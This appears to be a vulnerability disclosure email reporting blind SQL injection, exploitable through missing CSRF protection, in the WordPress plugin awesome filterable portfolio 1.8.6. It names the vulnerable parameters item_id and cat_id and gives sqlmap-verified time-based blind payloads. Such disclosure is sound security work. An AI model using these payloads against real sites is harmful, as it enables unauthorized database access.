Subject: Blind SQL injection and CSRF for logged administrators in awesome filterable portfolio 1.8.6
Date: Tue, 7 Jul 2015 10:29:48 +0200Hello,
Plugin: awesome filterable portfolio 1.8.6
Logged administrators can execute arbitrary SQL commands.(there is no CSRF protection).
1. SQL injection (afp_get_new_portfolio_item_page())
Method: GET
Vulnerable parameter: item_id
Example PHP callstack:
afp_get_new_portfolio_item_page [/awesome-filterable-portfolio/afp.php:240]
wpdb::get_row
Sqlmap verification:
...
Parameter: item_id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: page=afp_add_new_portfolio_item&item_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))EXyJ)
...
2. SQL injection (afp_get_new_category_page())
Method: GET
Vulnerable parameter: cat_id
Example PHP callstack:
afp_get_new_category_page [/awesome-filterable-portfolio/afp.php:492]
wpdb::get_row
Sqlmap verification:
...
Parameter: cat_id (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: page=afp_add_new_category&cat_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))ZQyD)
...
--
Regards,
Marcin Probola,